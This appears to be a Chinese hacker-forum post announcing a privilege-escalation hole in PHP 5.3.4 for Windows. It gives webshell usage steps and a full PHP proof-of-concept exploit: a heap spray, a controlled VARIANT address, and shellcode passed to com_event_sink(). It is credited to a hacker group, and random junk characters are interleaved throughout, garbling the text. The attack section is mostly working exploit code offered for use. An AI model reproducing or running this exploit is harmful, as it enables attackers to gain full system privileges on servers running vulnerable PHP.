|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中$ |4 ^- O* D: R: M4 l
, O* w: d }3 o/ H3 ]$ i测试方法如下:cmd /c x:\php\php.exe x:\test.php* B/ Z' A: W- N: q2 K+ [
0 D2 S. P& V' o* W0 H: A6 T
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php7 [$ }3 V5 U: c) U g% R
这里是两个测试的截图:" {& }! _6 f, a) Y5 r8 [5 a! A
$ L( s b8 L# u, p+ h# e
# a/ @3 C+ u! e7 W8 \% ~
# t/ ^ p$ o6 Q% |
% B; ]1 A& t9 J/ W# J6 ~8 f+ J, r# g
成功利用此漏洞的攻击者将获得系统的最高权限
2 Y# n; a6 _2 Q: O+ D# S$ [3 j7 r" `2 E: R/ g4 X
. Q! m, p: f& l/ P
P: E- H7 x4 ?* F j. W8 m4 l) a7 @8 h
4 ?9 P6 m3 \/ S4 q关于漏洞分析稍后附上。一下是PoC代码:7 _$ E+ S& q' y7 e; l5 I f: x
( M& t' X9 i, @7 N, ?& F: P( A
<?php
8 l+ B4 P' k# t# @//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞 p: o# g l" m v* t% O
//$eip ="\x44\x43\x42\x41";
9 Q- ]8 X7 G& c1 v$eip= "\x4b\xe8\x57\x78";
1 U5 @7 y- q: i2 Q, q* \$eax ="\x80\x01\x8d\x04";
' A; m/ ^% ^1 V' u8 h$deodrant="";
+ `) Y( u+ y/ I) I9 v( d$axespray = str_repeat($eip.$eax,0x80);
. `3 N3 t" |9 L" T" i/ f- p//048d0190; S+ C0 Z" W" Y( X4 Z
echo strlen($axespray);$ v0 ^ I6 J, ]9 J) j
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
9 l8 A. p4 L# ~ Y& v/ r, Gecho "Silic Group Hacker Army - BlackBap.Org";0 n8 d- [/ f7 w j5 u
//19200 ==4B32 4b00
4 i; I: ~8 G5 C8 bfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;} x4 F4 ~ v) d5 d& v% L
$terminate = "T";
. y3 I: w6 M/ j0 `! j$u[] =$deodrant;0 r& f) X A9 d7 m
$r[] =$deodrant.$terminate;
- B3 A5 @0 _4 r9 [- t7 f$a[] =$deodrant.$terminate;
@2 @0 b. S) j/ Q; N$s[] =$deodrant.$terminate;
( U1 O, E2 Y+ g2 V0 M//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的 F: G. Q' C0 |& g( B( _
$vVar = new VARIANT(0x048d0000+180);
& @, Q6 G- L# l//弹窗代码(Shellcode)
% ` e8 _( z) C& e& W. G! v$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";% W; q& W5 e1 w& d/ u
$var2 = new VARIANT(0x41414242);
* c- a& T* q& ] ~* acom_event_sink($vVar,$var2,$buffer);
" `, {" Q& v+ M3 H?>8 Y7 y; T M3 `# p6 [+ Q
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|